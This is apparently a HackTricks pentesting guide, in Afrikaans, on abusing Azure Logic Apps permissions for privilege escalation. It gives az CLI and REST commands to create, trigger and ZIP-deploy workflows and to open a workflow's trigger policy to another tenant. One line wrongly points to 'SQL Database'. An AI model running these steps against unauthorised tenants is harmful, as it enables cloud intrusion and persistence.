Az - Logic Apps Privesc

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Logic Apps Privesc

Vir meer inligting oor SQL Database, kyk:

Az - Logic Apps

(Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.Logic/workflows/read, Microsoft.Logic/workflows/write && Microsoft.ManagedIdentity/userAssignedIdentities/assign/action) && (Microsoft.Logic/workflows/triggers/run/action)

Met hierdie toestemming kan jy Azure Logic Apps workflows skep of opdateer. Workflows definieer geoutomatiseerde prosesse en integrasies tussen verskillende stelsels en dienste.

az logic workflow create \
--resource-group <resource_group_name> \
--name <workflow_name> \
--definition <workflow_definition_file.json> \
--location <location>

az logic workflow update \
--name my-new-workflow \
--resource-group logicappgroup \
--definition <workflow_definition_file.json>

En nadat jy dit verander het, kan jy dit uitvoer met:

az rest \
--method post \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/run?api-version=2016-10-01" \
--body '{}' \
--headers "Content-Type=application/json"

Boonop met net Microsoft.Logic/workflows/write kan jy die Outeurskapbeleid verander, wat byvoorbeeld ’n ander tenant die vermoë gee om die werksvloei te aktiveer:

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group-name>/providers/Microsoft.Logic/workflows/<workflow-name>?api-version=2016-10-01" \
--body '{
"location": "<region>",
"properties": {
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"parameters": {
"$connections": {
"defaultValue": {},
"type": "Object"
}
},
"triggers": {
"<trigger-name>": {
"type": "Request",
"kind": "Http"
}
},
"actions": {},
"outputs": {}
},
"accessControl": {
"triggers": {
"openAuthenticationPolicies": {
"policies": {
"<policy-name>": {
"type": "AAD",
"claims": [
{
"name": "iss",
"value": "<issuer-url>"
}
]
}
}
}
}
}
}
}'

Microsoft.Logic/workflows/triggers/listCallbackUrl/action

Jy kan die terugroep-URL van die sneller kry en dit uitvoer.

az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.Logic/workflows/<workflow_name>/triggers/<trigger_name>/listCallbackUrl?api-version=2019-05-01"

Dit sal ’n terugroep-URL soos https://prod-28.centralus.logic.azure.com:443/workflows/.... teruggee. Nou kan ons dit uitvoer met:

curl --request POST \
--url "https://prod-28.centralus.logic.azure.com:443/workflows/<workflow_id>/triggers/<trigger_name>/paths/invoke?api-version=2019-05-01&sp=%2Ftriggers%2F<trigger_name>%2Frun&sv=1.0&sig=<signature>" \
--header 'Content-Type: application/json' \
--data '{"exampleKey": "exampleValue"}'

(Microsoft.Web/sites/read, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/write, Microsoft.Web/sites/config/list/action) && (Microsoft.Web/sites/start/action)

Met hierdie toestemmings kan jy Logic App werkvloei ontplooi deur ZIP-lêer ontplooiing. Hierdie toestemmings stel aksies in staat soos om app besonderhede te lees, toegang tot publikasie geloofsbriewe te verkry, veranderinge te skryf, en app konfigurasies te lys. Saam met die begin toestemmings kan jy ’n nuwe Logic App opdateer en ontplooi met die verlangde inhoud.

az logicapp deployment source config-zip \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--src <path_to_zip_file>

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks